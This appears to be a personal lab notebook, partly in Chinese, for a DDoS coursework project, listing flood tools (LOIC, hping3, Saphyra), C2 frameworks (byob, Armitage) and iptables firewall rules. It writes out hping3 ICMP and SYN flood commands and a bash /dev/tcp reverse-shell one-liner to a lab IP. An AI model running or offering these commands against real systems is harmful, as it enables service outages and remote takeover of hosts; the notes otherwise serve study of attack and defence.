---
# System prepended metadata

title: DDOS

---

# DDOS



[TOC]

https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md

-----

# 分工


## 使用的技術


攻擊者

- Attack Script
- 找最新 Attack 技術
        
防禦

- ML
- 要去找防禦的技術

Env (For  實驗)

- 建環境或找實體環境

-----





# 攻擊點

## Bandwidth

![](https://i.imgur.com/BnaDI57.png)

有papaer -> 可以到 1.7TB/s 的檔案傳輸

## Memory 


# Attack tools


## low orbit ion cannon

https://github.com/NewEraCracker/LOIC





Linux 

mono(require)

https://www.monodevelop.com/download/#fndtn-download-lin



```
apt-get install mono-complete
```


## hping3


### ICMP flooding 

-> Attack bandwidth 

```
hping3 -1 --flood <ip Address>
```


![](https://i.imgur.com/4gi36jn.png)


![](https://i.imgur.com/5AwvpRL.png)


Wire Shark 

![](https://i.imgur.com/pJUqLKo.png)

Defense -> ICMP disable 

### SYN flooding

```
hping3 -d 200 -p 80 -S --flood <ip address>
```
192.168.86.181
D -> 200 byte

![](https://i.imgur.com/cjhO149.png)

![](https://i.imgur.com/SFN4inm.png)

![](https://i.imgur.com/r61N8Ax.png)


defend -> firewall 




## Saphyra 

### Http Get 

繞過Firewall  使用不同 userAgent(http header) 來造成混洨

http Get -> request traget host 

Script

https://github.com/IkzCx/ProgramsForDDos/blob/master/Saphyra.py

![](https://i.imgur.com/2HPiQk6.png)


# analysis tool


## nload

使用方法
```
nload 
```


# C2 server


## byob

[byob]([https://bit.ly/30tJm22](https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqbEg1cHE4V2VvTnY4THo0S0x0eWs4QWEyaElGUXxBQ3Jtc0trQ0xKNklDTDVVV0tPS210cThZRDlEMHk1TzY0cGR4TFEya3cyRlNjcjAzbTNhaU5aeEFnXzFKU1dndDJ1ZHE0ajJsRE15a2ZBaGQzdlRMcUZIanE0VzhNNFdxMG5MdFBRb3M5aVFvU0VNTl94NEwtSQ&q=https%3A%2F%2Fbit.ly%2F30tJm22&v=eZYtnzODpW4))

DOC

https://github.com/malwaredllc/byob/wiki


## LinuxEnv setup

[video1](https://www.youtube.com/watch?v=uVyniPrTzuk)
[video2](https://www.youtube.com/watch?v=eYk9zWNH5ws)
[video3](https://www.youtube.com/watch?v=dE-I5xKtmso)

```
git clone https://github.com/malwaredllc/byob.git
```




---

https://github.com/malwaredllc/byob/wiki/Installing-Requirements-on-Linux

```
apt insatll python2 
```

Run setup.py


##  Armitage 

https://github.com/Intek13x/armitage

![](https://i.imgur.com/SSQyv8i.png)



## Creating a Listener in Armitage

![](https://i.imgur.com/ywgy6qM.png)

```
host:127.0.0.1 
port 55555
Account : meowhecker
Password: meowhecker
```

Reverse shell 

```
bash -c '0<&103-;exec 103<>/dev/tcp/192.168.203.151/443;sh <&103 >&103 2>&103'
```


![](https://i.imgur.com/i54wU6b.png)

![](https://i.imgur.com/zuXpzv2.png)



## IEEE paper 


### [Intelligent Detection System for a Distributed Denial-of - Service (DDoS) Attack Based on Time Series](https://ieeexplore.ieee.org/document/10100180/)

# Analysis Hping3 攻擊行為

![](https://i.imgur.com/CyGFEyL.png)


# iptables 

Linux Firewall 

### flag

- t table 
- A append Rule 加到最後
- I insert Rule "?" default = 1 
- v verbose 

- I 

## Filter Table

### Input chain (in bound 入站)

Add New Rules

```
iptables -t filter -A INPUT -j DROP -p tcp --dport 80
```

![](https://i.imgur.com/wn1UQSF.png)



Delete Rules 

```
iptables -t filter -D INPUT 1
```

刪掉第一個Rules

![](https://i.imgur.com/5c4M5Bb.png)



### Output chain (out bound 出站)

ping 192.168.203.151
PING 192.168.203.151 (192.168.203.151) 56(84) bytes of data.
64 bytes from 192.168.203.151: icmp_seq=1 ttl=64 time=5.23 ms
64 bytes from 192.168.203.151: icmp_seq=2 ttl=64 time=1.02 ms

```
iptables -t filter -A OUTPUT -j DROP -p icmp -d 192.168.203.151
```
root@ubuntu:/home/user# ping 192.168.203.151PING 192.168.203.151 (192.168.203.151) 56(84) bytes of data.
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted
ping: sendmsg: Operation not permitted

### Mac filter (MAC 過濾)

(有效)
```
iptables -A INPUT -m mac --mac-source 00:0c:29:45:2d:c2 -j DROP
```

## Nat Table (NAT 設定)

show

```
iptables -t nat -L
```

Nat Table 會有4個chain

- PreRouting(Before Routing)

改 destination IP or Address 

可以進行轉發

- INPUT


- OUTPUT


- PostRouting(After Routing)

改 Source IP or Address 


## 

Prevent SYN 



